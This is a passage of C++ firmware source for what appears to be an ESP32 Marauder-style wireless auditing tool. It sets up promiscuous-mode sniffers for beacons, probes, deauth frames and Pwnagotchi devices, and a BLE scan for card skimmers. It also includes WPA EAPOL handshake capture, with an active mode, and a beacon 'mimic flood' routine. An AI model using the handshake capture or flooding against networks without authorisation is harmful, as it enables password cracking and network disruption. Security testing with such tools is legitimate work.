  585. display_obj.tft.println(F("OK"));
  586. #endif
  587. }
  588. else {
  589. #ifdef HAS_SCREEN
  590. display_obj.tft.setTextColor(TFT_RED);
  591. display_obj.tft.println(F(text17));
  592. display_obj.tft.println(F(text_table4[19]));
  593. #endif
  594. }
  595. }
  596. void WiFiScan::RunInfo()
  597. {
  598. String sta_mac = this->getStaMAC();
  599. String ap_mac = this->getApMAC();
  600. String free_ram = this->freeRAM();
  601. //Serial.print("STA MAC: ");
  602. //Serial.println(sta_mac);
  603. //Serial.print("AP MAC: ");
  604. //Serial.println(ap_mac);
  605. Serial.println(free_ram);
  606. #ifdef HAS_SCREEN
  607. display_obj.tft.setTextWrap(false);
  608. display_obj.tft.setFreeFont(NULL);
  609. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  610. display_obj.tft.setTextSize(1);
  611. display_obj.tft.setTextColor(TFT_CYAN);
  612. display_obj.tft.println(text_table4[20]);
  613. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  614. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  615. #endif
  616. if (this->wsl_bypass_enabled) {
  617. #ifdef HAS_SCREEN
  618. display_obj.tft.println(text_table4[23]);
  619. #endif
  620. }
  621. else {
  622. #ifdef HAS_SCREEN
  623. display_obj.tft.println(text_table4[24]);
  624. #endif
  625. }
  626. #ifdef HAS_SCREEN
  627. display_obj.tft.println(text_table4[25] + sta_mac);
  628. display_obj.tft.println(text_table4[26] + ap_mac);
  629. display_obj.tft.println(text_table4[27] + free_ram);
  630. #endif
  631. if (sd_obj.supported) {
  632. #ifdef HAS_SCREEN
  633. display_obj.tft.println(text_table4[28]);
  634. display_obj.tft.print(text_table4[29]);
  635. display_obj.tft.print(sd_obj.card_sz);
  636. display_obj.tft.println("MB");
  637. #endif
  638. }
  639. else {
  640. #ifdef HAS_SCREEN
  641. display_obj.tft.println(text_table4[30]);
  642. display_obj.tft.println(text_table4[31]);
  643. #endif
  644. }
  645. battery_obj.battery_level = battery_obj.getBatteryLevel();
  646. if (battery_obj.i2c_supported) {
  647. #ifdef HAS_SCREEN
  648. display_obj.tft.println(text_table4[32]);
  649. display_obj.tft.println(text_table4[33] + (String)battery_obj.battery_level + "%");
  650. #endif
  651. }
  652. else {
  653. #ifdef HAS_SCREEN
  654. display_obj.tft.println(text_table4[34]);
  655. #endif
  656. }
  657. #ifdef HAS_SCREEN
  658. display_obj.tft.println(text_table4[35] + (String)temp_obj.current_temp + " C");
  659. #endif
  660. }
  661. void WiFiScan::RunEspressifScan(uint8_t scan_mode, uint16_t color) {
  662. sd_obj.openCapture("espressif");
  663. #ifdef MARAUDER_FLIPPER
  664. flipper_led.sniffLED();
  665. #endif
  666. #ifdef HAS_SCREEN
  667. display_obj.TOP_FIXED_AREA_2 = 48;
  668. display_obj.tteBar = true;
  669. display_obj.print_delay_1 = 15;
  670. display_obj.print_delay_2 = 10;
  671. display_obj.initScrollValues(true);
  672. display_obj.tft.setTextWrap(false);
  673. display_obj.tft.setTextColor(TFT_WHITE, color);
  674. #ifndef MARAUDER_MINI
  675. display_obj.tft.fillRect(0,16,240,16, color);
  676. display_obj.tft.drawCentreString(text_table4[36],120,16,2);
  677. display_obj.touchToExit();
  678. #endif
  679. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  680. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  681. #endif
  682. esp_wifi_init(&cfg);
  683. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  684. esp_wifi_set_mode(WIFI_MODE_NULL);
  685. esp_wifi_start();
  686. esp_wifi_set_promiscuous(true);
  687. esp_wifi_set_promiscuous_filter(&filt);
  688. esp_wifi_set_promiscuous_rx_cb(&espressifSnifferCallback);
  689. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  690. this->wifi_initialized = true;
  691. initTime = millis();
  692. }
  693. void WiFiScan::RunPacketMonitor(uint8_t scan_mode, uint16_t color)
  694. {
  695. #ifdef MARAUDER_FLIPPER
  696. flipper_led.sniffLED();
  697. #endif
  698. sd_obj.openCapture("packet_monitor");
  699. #ifndef MARAUDER_MINI
  700. #ifdef HAS_SCREEN
  701. display_obj.tft.init();
  702. display_obj.tft.setRotation(1);
  703. display_obj.tft.fillScreen(TFT_BLACK);
  704. #endif
  705. #ifdef HAS_SCREEN
  706. #ifdef TFT_SHIELD
  707. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  708. Serial.println("Using TFT Shield");
  709. #else if defined(TFT_DIY)
  710. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  711. Serial.println("Using TFT DIY");
  712. #endif
  713. display_obj.tft.setTouch(calData);
  714. //display_obj.tft.setFreeFont(1);
  715. display_obj.tft.setFreeFont(NULL);
  716. display_obj.tft.setTextSize(1);
  717. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  718. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  719. delay(10);
  720. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  721. display_obj.tftDrawColorKey();
  722. display_obj.tftDrawXScaleButtons(x_scale);
  723. display_obj.tftDrawYScaleButtons(y_scale);
  724. display_obj.tftDrawChannelScaleButtons(set_channel);
  725. display_obj.tftDrawExitScaleButtons();
  726. #endif
  727. #else
  728. #ifdef HAS_SCREEN
  729. display_obj.TOP_FIXED_AREA_2 = 48;
  730. display_obj.tteBar = true;
  731. display_obj.print_delay_1 = 15;
  732. display_obj.print_delay_2 = 10;
  733. display_obj.initScrollValues(true);
  734. display_obj.tft.setTextWrap(false);
  735. display_obj.tft.setTextColor(TFT_WHITE, color);
  736. #ifndef MARAUDER_MINI
  737. display_obj.tft.fillRect(0,16,240,16, color);
  738. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  739. display_obj.touchToExit();
  740. #endif
  741. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  742. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  743. #endif
  744. #endif
  745. Serial.println("Running packet scan...");
  746. esp_wifi_init(&cfg);
  747. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  748. esp_wifi_set_mode(WIFI_MODE_NULL);
  749. esp_wifi_start();
  750. esp_wifi_set_promiscuous(true);
  751. esp_wifi_set_promiscuous_filter(&filt);
  752. esp_wifi_set_promiscuous_rx_cb(&wifiSnifferCallback);
  753. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  754. this->wifi_initialized = true;
  755. uint32_t initTime = millis();
  756. }
  757. void WiFiScan::RunEapolScan(uint8_t scan_mode, uint16_t color)
  758. {
  759. #ifdef MARAUDER_FLIPPER
  760. flipper_led.sniffLED();
  761. #endif
  762. num_eapol = 0;
  763. #ifndef MARAUDER_MINI
  764. #ifdef HAS_SCREEN
  765. display_obj.tft.init();
  766. display_obj.tft.setRotation(1);
  767. display_obj.tft.fillScreen(TFT_BLACK);
  768. #endif
  769. sd_obj.openCapture("eapol");
  770. #ifdef HAS_SCREEN
  771. #ifdef TFT_SHIELD
  772. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  773. //Serial.println("Using TFT Shield");
  774. #else if defined(TFT_DIY)
  775. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  776. //Serial.println("Using TFT DIY");
  777. #endif
  778. display_obj.tft.setTouch(calData);
  779. display_obj.tft.setFreeFont(NULL);
  780. display_obj.tft.setTextSize(1);
  781. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); // Buttons
  782. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // color key
  783. delay(10);
  784. display_obj.tftDrawGraphObjects(x_scale); //draw graph objects
  785. display_obj.tftDrawEapolColorKey();
  786. display_obj.tftDrawChannelScaleButtons(set_channel);
  787. display_obj.tftDrawExitScaleButtons();
  788. #endif
  789. #else
  790. sd_obj.openCapture("eapol");
  791. #ifdef HAS_SCREEN
  792. display_obj.TOP_FIXED_AREA_2 = 48;
  793. display_obj.tteBar = true;
  794. display_obj.print_delay_1 = 15;
  795. display_obj.print_delay_2 = 10;
  796. display_obj.initScrollValues(true);
  797. display_obj.tft.setTextWrap(false);
  798. display_obj.tft.setTextColor(TFT_WHITE, color);
  799. #ifndef MARAUDER_MINI
  800. display_obj.tft.fillRect(0,16,240,16, color);
  801. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  802. display_obj.touchToExit();
  803. #endif
  804. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  805. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  806. #endif
  807. #endif
  808. esp_wifi_init(&cfg);
  809. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  810. esp_wifi_set_mode(WIFI_MODE_AP);
  811. esp_err_t err;
  812. wifi_config_t conf;
  813. err = esp_wifi_set_protocol(WIFI_IF_AP, WIFI_PROTOCOL_11B | WIFI_PROTOCOL_11G | WIFI_PROTOCOL_11N | WIFI_PROTOCOL_LR);
  814. if (err != 0)
  815. {
  816. Serial.print("could not set protocol : err=0x");
  817. Serial.println(err, HEX);
  818. }
  819. esp_wifi_get_config((wifi_interface_t)WIFI_IF_AP, &conf);
  820. conf.ap.ssid[0] = '\0';
  821. conf.ap.ssid_len = 0;
  822. conf.ap.channel = this->set_channel;
  823. conf.ap.ssid_hidden = 1;
  824. conf.ap.max_connection = 0;
  825. conf.ap.beacon_interval = 60000;
  826. err = esp_wifi_set_config((wifi_interface_t)WIFI_IF_AP, &conf);
  827. if (err != 0)
  828. {
  829. Serial.print("AP config set error, Maurauder SSID might visible : err=0x");
  830. Serial.println(err, HEX);
  831. }
  832. esp_wifi_start();
  833. esp_wifi_set_promiscuous(true);
  834. esp_wifi_set_promiscuous_filter(&filt);
  835. if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  836. esp_wifi_set_promiscuous_rx_cb(&activeEapolSnifferCallback);
  837. else
  838. esp_wifi_set_promiscuous_rx_cb(&eapolSnifferCallback);
  839. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  840. this->wifi_initialized = true;
  841. initTime = millis();
  842. }
  843. // Function to prepare for beacon mimic
  844. void WiFiScan::RunMimicFlood(uint8_t scan_mode, uint16_t color) {
  845. #ifdef HAS_SCREEN
  846. display_obj.TOP_FIXED_AREA_2 = 48;
  847. display_obj.tteBar = true;
  848. display_obj.print_delay_1 = 15;
  849. display_obj.print_delay_2 = 10;
  850. display_obj.initScrollValues(true);
  851. display_obj.tft.setTextWrap(false);
  852. display_obj.tft.setTextColor(TFT_BLACK, color);
  853. #ifndef MARAUDER_MINI
  854. display_obj.tft.fillRect(0,16,240,16, color);
  855. display_obj.tft.drawCentreString(" Mimic Flood ",120,16,2);
  856. display_obj.touchToExit();
  857. #endif
  858. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  859. #endif
  860. packets_sent = 0;
  861. esp_wifi_init(&cfg);
  862. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  863. esp_wifi_set_mode(WIFI_AP_STA);
  864. esp_wifi_start();
  865. esp_wifi_set_promiscuous_filter(NULL);
  866. esp_wifi_set_promiscuous(true);
  867. esp_wifi_set_max_tx_power(78);
  868. this->wifi_initialized = true;
  869. initTime = millis();
  870. }
  871. void WiFiScan::RunPwnScan(uint8_t scan_mode, uint16_t color)
  872. {
  873. sd_obj.openCapture("pwnagotchi");
  874. #ifdef MARAUDER_FLIPPER
  875. flipper_led.sniffLED();
  876. #endif
  877. #ifdef HAS_SCREEN
  878. display_obj.TOP_FIXED_AREA_2 = 48;
  879. display_obj.tteBar = true;
  880. display_obj.print_delay_1 = 15;
  881. display_obj.print_delay_2 = 10;
  882. display_obj.initScrollValues(true);
  883. display_obj.tft.setTextWrap(false);
  884. display_obj.tft.setTextColor(TFT_WHITE, color);
  885. #ifndef MARAUDER_MINI
  886. display_obj.tft.fillRect(0,16,240,16, color);
  887. display_obj.tft.drawCentreString(text_table4[37],120,16,2);
  888. display_obj.touchToExit();
  889. #endif
  890. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  891. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  892. #endif
  893. esp_wifi_init(&cfg);
  894. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  895. esp_wifi_set_mode(WIFI_MODE_NULL);
  896. esp_wifi_start();
  897. esp_wifi_set_promiscuous(true);
  898. esp_wifi_set_promiscuous_filter(&filt);
  899. esp_wifi_set_promiscuous_rx_cb(&pwnSnifferCallback);
  900. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  901. this->wifi_initialized = true;
  902. initTime = millis();
  903. }
  904. // Function to start running a beacon scan
  905. void WiFiScan::RunBeaconScan(uint8_t scan_mode, uint16_t color)
  906. {
  907. sd_obj.openCapture("beacon");
  908. #ifdef MARAUDER_FLIPPER
  909. flipper_led.sniffLED();
  910. #endif
  911. #ifdef HAS_SCREEN
  912. display_obj.TOP_FIXED_AREA_2 = 48;
  913. display_obj.tteBar = true;
  914. display_obj.print_delay_1 = 15;
  915. display_obj.print_delay_2 = 10;
  916. display_obj.initScrollValues(true);
  917. display_obj.tft.setTextWrap(false);
  918. display_obj.tft.setTextColor(TFT_WHITE, color);
  919. #ifndef MARAUDER_MINI
  920. display_obj.tft.fillRect(0,16,240,16, color);
  921. display_obj.tft.drawCentreString(text_table4[38],120,16,2);
  922. display_obj.touchToExit();
  923. #endif
  924. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  925. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  926. #endif
  927. esp_wifi_init(&cfg);
  928. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  929. esp_wifi_set_mode(WIFI_MODE_NULL);
  930. esp_wifi_start();
  931. esp_wifi_set_promiscuous(true);
  932. esp_wifi_set_promiscuous_filter(&filt);
  933. esp_wifi_set_promiscuous_rx_cb(&beaconSnifferCallback);
  934. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  935. this->wifi_initialized = true;
  936. initTime = millis();
  937. }
  938. void WiFiScan::RunRawScan(uint8_t scan_mode, uint16_t color)
  939. {
  940. sd_obj.openCapture("raw");
  941. #ifdef MARAUDER_FLIPPER
  942. flipper_led.sniffLED();
  943. #endif
  944. #ifdef HAS_SCREEN
  945. display_obj.TOP_FIXED_AREA_2 = 48;
  946. display_obj.tteBar = true;
  947. display_obj.print_delay_1 = 15;
  948. display_obj.print_delay_2 = 10;
  949. display_obj.initScrollValues(true);
  950. display_obj.tft.setTextWrap(false);
  951. display_obj.tft.setTextColor(TFT_WHITE, color);
  952. #ifndef MARAUDER_MINI
  953. display_obj.tft.fillRect(0,16,240,16, color);
  954. display_obj.tft.drawCentreString(text_table1[58],120,16,2);
  955. display_obj.touchToExit();
  956. #endif
  957. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  958. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  959. #endif
  960. esp_wifi_init(&cfg);
  961. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  962. esp_wifi_set_mode(WIFI_MODE_NULL);
  963. esp_wifi_start();
  964. esp_wifi_set_promiscuous(true);
  965. esp_wifi_set_promiscuous_filter(&filt);
  966. esp_wifi_set_promiscuous_rx_cb(&rawSnifferCallback);
  967. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  968. this->wifi_initialized = true;
  969. initTime = millis();
  970. }
  971. void WiFiScan::RunDeauthScan(uint8_t scan_mode, uint16_t color)
  972. {
  973. sd_obj.openCapture("deauth");
  974. #ifdef MARAUDER_FLIPPER
  975. flipper_led.sniffLED();
  976. #endif
  977. #ifdef HAS_SCREEN
  978. display_obj.TOP_FIXED_AREA_2 = 48;
  979. display_obj.tteBar = true;
  980. display_obj.print_delay_1 = 15;
  981. display_obj.print_delay_2 = 10;
  982. display_obj.initScrollValues(true);
  983. display_obj.tft.setTextWrap(false);
  984. display_obj.tft.setTextColor(TFT_BLACK, color);
  985. #ifndef MARAUDER_MINI
  986. display_obj.tft.fillRect(0,16,240,16, color);
  987. display_obj.tft.drawCentreString(text_table4[39],120,16,2);
  988. display_obj.touchToExit();
  989. #endif
  990. display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
  991. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  992. #endif
  993. esp_wifi_init(&cfg);
  994. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  995. esp_wifi_set_mode(WIFI_MODE_NULL);
  996. esp_wifi_start();
  997. esp_wifi_set_promiscuous(true);
  998. esp_wifi_set_promiscuous_filter(&filt);
  999. esp_wifi_set_promiscuous_rx_cb(&deauthSnifferCallback);
  1000. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1001. this->wifi_initialized = true;
  1002. initTime = millis();
  1003. }
  1004. // Function for running probe request scan
  1005. void WiFiScan::RunProbeScan(uint8_t scan_mode, uint16_t color)
  1006. {
  1007. sd_obj.openCapture("probe");
  1008. #ifdef MARAUDER_FLIPPER
  1009. flipper_led.sniffLED();
  1010. #endif
  1011. #ifdef HAS_SCREEN
  1012. display_obj.TOP_FIXED_AREA_2 = 48;
  1013. display_obj.tteBar = true;
  1014. display_obj.print_delay_1 = 15;
  1015. display_obj.print_delay_2 = 10;
  1016. display_obj.initScrollValues(true);
  1017. display_obj.tft.setTextWrap(false);
  1018. display_obj.tft.setTextColor(TFT_BLACK, color);
  1019. #ifndef MARAUDER_MINI
  1020. display_obj.tft.fillRect(0,16,240,16, color);
  1021. display_obj.tft.drawCentreString(text_table4[40],120,16,2);
  1022. display_obj.touchToExit();
  1023. #endif
  1024. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  1025. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1026. #endif
  1027. esp_wifi_init(&cfg);
  1028. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  1029. esp_wifi_set_mode(WIFI_MODE_NULL);
  1030. esp_wifi_start();
  1031. esp_wifi_set_promiscuous(true);
  1032. esp_wifi_set_promiscuous_filter(&filt);
  1033. esp_wifi_set_promiscuous_rx_cb(&probeSnifferCallback);
  1034. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  1035. this->wifi_initialized = true;
  1036. initTime = millis();
  1037. }
  1038. // Function to start running any BLE scan
  1039. void WiFiScan::RunBluetoothScan(uint8_t scan_mode, uint16_t color)
  1040. {
  1041. #ifdef HAS_BT
  1042. #ifdef HAS_SCREEN
  1043. display_obj.print_delay_1 = 50;
  1044. display_obj.print_delay_2 = 20;
  1045. #endif
  1046. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  1047. NimBLEDevice::setScanDuplicateCacheSize(200);
  1048. NimBLEDevice::init("");
  1049. pBLEScan = NimBLEDevice::getScan(); //create new scan
  1050. if (scan_mode == BT_SCAN_ALL)
  1051. {
  1052. #ifdef HAS_SCREEN
  1053. display_obj.TOP_FIXED_AREA_2 = 48;
  1054. display_obj.tteBar = true;
  1055. display_obj.initScrollValues(true);
  1056. display_obj.tft.setTextWrap(false);
  1057. display_obj.tft.setTextColor(TFT_BLACK, color);
  1058. #ifndef MARAUDER_MINI
  1059. display_obj.tft.fillRect(0,16,240,16, color);
  1060. display_obj.tft.drawCentreString(text_table4[41],120,16,2);
  1061. display_obj.touchToExit();
  1062. #endif
  1063. display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
  1064. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1065. #endif
  1066. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanAllCallback(), false);
  1067. }
  1068. else if (scan_mode == BT_SCAN_SKIMMERS)
  1069. {
  1070. #ifdef HAS_SCREEN
  1071. display_obj.TOP_FIXED_AREA_2 = 160;
  1072. display_obj.tteBar = true;
  1073. display_obj.tft.fillScreen(TFT_DARKGREY);
  1074. display_obj.initScrollValues(true);
  1075. display_obj.tft.setTextWrap(false);
  1076. display_obj.tft.setTextColor(TFT_BLACK, color);
  1077. display_obj.tft.fillRect(0,16,240,16, color);
  1078. display_obj.tft.drawCentreString(text_table4[42],120,16,2);
  1079. display_obj.twoPartDisplay(text_table4[43]);
  1080. display_obj.tft.setTextColor(TFT_BLACK, TFT_DARKGREY);
  1081. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  1082. #endif
  1083. pBLEScan->setAdvertisedDeviceCallbacks(new bluetoothScanSkimmersCallback(), false);
  1084. }
  1085. pBLEScan->setActiveScan(true); //active scan uses more power, but get results faster
  1086. pBLEScan->setInterval(97);
  1087. pBLEScan->setWindow(37); // less or equal setInterval value
  1088. pBLEScan->setMaxResults(0);
  1089. pBLEScan->start(0, scanCompleteCB, false);
  1090. Serial.println("Started BLE Scan");
  1091. this->ble_initialized = true;
  1092. initTime = millis();
  1093. #endif
  1094. }
  1095. // Function that is called when BLE scan is completed
  1096. #ifdef HAS_BT
  1097. void WiFiScan::scanCompleteCB(BLEScanResults scanResults) {
  1098. printf("Scan complete!\n");
  1099. printf("Found %d devices\n", scanResults.getCount());
  1100. scanResults.dump();
  1101. } // scanCompleteCB
  1102. #endif
  1103. // Function to extract MAC addr from a packet at given offset
  1104. void WiFiScan::getMAC(char *addr, uint8_t* data, uint16_t offset) {
  1105. sprintf(addr, "%02x:%02x:%02x:%02x:%02x:%02x", data[offset+0], data[offset+1], data[offset+2], data[offset+3], data[offset+4], data[offset+5]);
  1106. }
  1107. void WiFiScan::espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1108. {
  1109. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1110. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1111. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1112. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1113. int len = snifferPacket->rx_ctrl.sig_len;
  1114. String display_string = "";
  1115. String src_addr_string = "";
  1116. if (type == WIFI_PKT_MGMT)
  1117. {
  1118. len -= 4;
  1119. }
  1120. int fctl = ntohs(frameControl->fctl);
  1121. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1122. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1123. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1124. //if ((snifferPacket->payload[0] == 0x80) && (display_obj.display_buffer->size() == 0))
  1125. //{
  1126. char addr[] = "00:00:00:00:00:00";
  1127. getMAC(addr, snifferPacket->payload, 10);
  1128. src_addr_string.concat(addr);
  1129. bool match = false;
  1130. for (int i = 0; i < (sizeof(espressif_macs) / sizeof(espressif_macs[0])); i++) {
  1131. if (src_addr_string.startsWith(espressif_macs[i])) {
  1132. match = true;
  1133. break;
  1134. }
  1135. }
  1136. if (!match)
  1137. return;
  1138. delay(random(0, 10));
  1139. Serial.print("RSSI: ");
  1140. Serial.print(snifferPacket->rx_ctrl.rssi);
  1141. Serial.print(" Ch: ");
  1142. Serial.print(snifferPacket->rx_ctrl.channel);
  1143. Serial.print(" BSSID: ");
  1144. Serial.print(addr);
  1145. //display_string.concat(" RSSI: ");
  1146. //display_string.concat(snifferPacket->rx_ctrl.rssi);
  1147. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1148. //display_string.concat(" ");
  1149. display_string.concat(" -> ");
  1150. display_string.concat(addr);
  1151. for (int i = 0; i < 19 - snifferPacket->payload[37]; i++)
  1152. {
  1153. display_string.concat(" ");
  1154. }
  1155. Serial.print(" ");
  1156. #ifdef HAS_SCREEN
  1157. display_obj.loading = true;
  1158. display_obj.display_buffer->add(display_string);
  1159. display_obj.loading = false;
  1160. #endif
  1161. Serial.println();
  1162. if (save_packet)
  1163. sd_obj.addPacket(snifferPacket->payload, len);
  1164. //}
  1165. }
  1166. void WiFiScan::pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  1167. {
  1168. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1169. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1170. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1171. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1172. int len = snifferPacket->rx_ctrl.sig_len;
  1173. String display_string = "";
  1174. String src = "";
  1175. String essid = "";
  1176. if (type == WIFI_PKT_MGMT)
  1177. {
  1178. len -= 4;
  1179. int fctl = ntohs(frameControl->fctl);
  1180. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1181. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1182. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1183. #ifdef HAS_SCREEN
  1184. int buf = display_obj.display_buffer->size();
  1185. #else
  1186. int buf = 0;
  1187. #endif
  1188. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1189. {
  1190. char addr[] = "00:00:00:00:00:00";
  1191. getMAC(addr, snifferPacket->payload, 10);
  1192. src.concat(addr);
  1193. if (src == "de:ad:be:ef:de:ad") {
  1194. delay(random(0, 10));
  1195. Serial.print("RSSI: ");
  1196. Serial.print(snifferPacket->rx_ctrl.rssi);
  1197. Serial.print(" Ch: ");
  1198. Serial.print(snifferPacket->rx_ctrl.channel);
  1199. Serial.print(" BSSID: ");
  1200. Serial.print(addr);
  1201. //display_string.concat(addr);
  1202. display_string.concat("CH: " + (String)snifferPacket->rx_ctrl.channel);
  1203. Serial.print(" ESSID: ");
  1204. display_string.concat(" -> ");
  1205. // Just grab the first 255 bytes of the pwnagotchi beacon
  1206. // because that is where the name is
  1207. //for (int i = 0; i < snifferPacket->payload[37]; i++)
  1208. for (int i = 0; i < len - 37; i++)
  1209. {
  1210. Serial.print((char)snifferPacket->payload[i + 38]);
  1211. //display_string.concat((char)snifferPacket->payload[i + 38]);
  1212. if (isAscii(snifferPacket->payload[i + 38]))
  1213. essid.concat((char)snifferPacket->payload[i + 38]);
  1214. else
  1215. Serial.println("Got non-ascii character: " + (String)(char)snifferPacket->payload[i + 38]);
  1216. }
  1217. //essid.concat("\": \"\"}}");
  1218. //Serial.println("\n" + (String)(snifferPacket->payload[37]) + " -> " + essid);
  1219. // Load json
  1220. //DynamicJsonBuffer jsonBuffer; // ArduinoJson v5
  1221. DynamicJsonDocument json(1024); // ArduinoJson v6
  1222. //JsonObject& json = jsonBuffer.parseObject(essid); // ArduinoJson v5
  1223. // ArduinoJson v6
  1224. if (deserializeJson(json, essid)) {
  1225. Serial.println("\nCould not parse Pwnagotchi json");
  1226. display_string.concat(essid);
  1227. }
  1228. else {
  1229. Serial.println("\nSuccessfully parsed json");
  1230. String json_output;
  1231. //json.printTo(json_output); // ArduinoJson v5
  1232. serializeJson(json, json_output); // ArduinoJson v6
  1233. Serial.println(json_output);
  1234. display_string.concat(json["name"].as<String>() + " pwnd: " + json["pwnd_tot"].as<String>());
  1235. }
  1236. int temp_len = display_string.length();
  1237. for (int i = 0; i < 40 - temp_len; i++)
  1238. {
  1239. display_string.concat(" ");
  1240. }
  1241. Serial.print(" ");
  1242. #ifdef HAS_SCREEN
  1243. if (display_obj.display_buffer->size() == 0)
  1244. {
  1245. display_obj.loading = true;
  1246. display_obj.display_buffer->add(display_string);
  1247. display_obj.loading = false;
  1248. }
  1249. #endif
  1250. Serial.println();
  1251. if (save_packet)
  1252. sd_obj.addPacket(snifferPacket->payload, len);
  1253. }
  1254. }
  1255. }
  1256. }
  1257. void WiFiScan::apSnifferCallbackFull(void* buf, wifi_promiscuous_pkt_type_t type) {
  1258. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  1259. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  1260. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  1261. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  1262. int len = snifferPacket->rx_ctrl.sig_len;
  1263. String display_string = "";
  1264. String essid = "";
  1265. String bssid = "";
  1266. if (type == WIFI_PKT_MGMT)
  1267. {
  1268. len -= 4;
  1269. int fctl = ntohs(frameControl->fctl);
  1270. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  1271. const WifiMgmtHdr *hdr = &ipkt->hdr;
  1272. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  1273. #ifdef HAS_SCREEN
  1274. int buf = display_obj.display_buffer->size();
  1275. #else
  1276. int buf = 0;
  1277. #endif
  1278. if ((snifferPacket->payload[0] == 0x80) && (buf == 0))
  1279. {
  1280. char addr[] = "00:00:00:00:00:00";
  1281. getMAC(addr, snifferPacket->payload, 10);
  1282. bool in_list = false;
  1283. bool mac_match = true;
  1284. for (int i = 0; i < access_points->size(); i++) {
  1285. mac_match = true;
  1286. //Serial.print("Checking ");
  1287. //Serial.print(addr);
